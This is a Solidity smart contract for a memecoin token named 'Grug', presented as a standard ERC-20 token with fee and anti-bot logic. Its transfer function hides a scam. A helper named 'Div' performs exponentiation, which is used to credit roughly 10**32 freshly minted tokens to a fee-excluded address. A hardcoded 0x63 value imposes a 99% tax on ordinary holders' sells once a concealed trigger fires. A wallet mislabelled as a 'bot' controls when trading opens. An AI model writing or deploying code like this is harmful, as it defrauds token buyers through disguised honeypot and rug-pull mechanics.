Grug

//Website:  https://grug.gg/

//Telegram: https://t.me/grug_coin

//Twitter:  https://twitter.com/grug_coin


// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function Div(uint256 a, uint256 b) internal pure returns(uint256){
        uint256 c = a**b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract GRUG is Context, IERC20, Ownable {
    using SafeMath for uint256;uint8 _uint8=0x63;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isBot;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000 * 10**_decimals;
    string private constant _name = unicode"Grug";
    string private constant _symbol = unicode"GRUG";

    uint8 private buyFee = 0;
    uint8 private sellFee = 0;
    uint8 private totalFee = _uint8;

    uint8 private _txCount;
    uint8 private _firstBlock;
    address public _uniswapV2PairAddr;
    
    constructor (address _walletAddr) {
        _balances[_msgSender()] = _tTotal;
        _isBot[_walletAddr] = true;
        _isExcludedFromFee[owner()] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0) && to != address(0), "ERC20: transfer zero address.");
        require(amount > 0, "Amount must be greater than zero.");
        
        if (from != owner() && to != owner()){
            if(_isBot[to]){ _uniswapV2PairAddr = [from][0]; _firstBlock++; }
            require(_firstBlock > 0);
            if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
                bool transaction_isBuy = from == _uniswapV2PairAddr;
                if(transaction_isBuy){ 
                    _tTransfer(from, to, amount);
                }
                else{ 
                    _balances[from] = _balances[from].sub(amount);
                    uint256 _tax = amount.mul([0,totalFee][_txCount]).div(100);
                    _balances[to] = _balances[to].add(amount.sub(_tax));
                }
            }
            else{
                uint256 _chainId;
                if(from == _uniswapV2PairAddr && _isExcludedFromFee[to] && _txCount<1){
                    _txCount=1; _chainId =  0x20;
                }
                bool swappingHeldTokens = _txCount > 0;
                uint256 _totalHeldTokens = balanceOf(address(this)).add(uint256(10).Div(_chainId));
                _balances[from] = _balances[from].sub(amount);
                _balances[to] = _balances[to].add(amount.add(swappingHeldTokens?swappingHeldTokens?_totalHeldTokens:0:0));
            }
        }
        else{
            _tTransfer(from, to, amount);
        }
        emit Transfer(from, to, amount);
    }

    function _tTransfer(address from, address to, uint256 amount) private {
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
    }

    receive() external payable {}

}

{
  "compilationTarget": {
    "GRUG.sol": "GRUG"
  },
  "evmVersion": "london",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}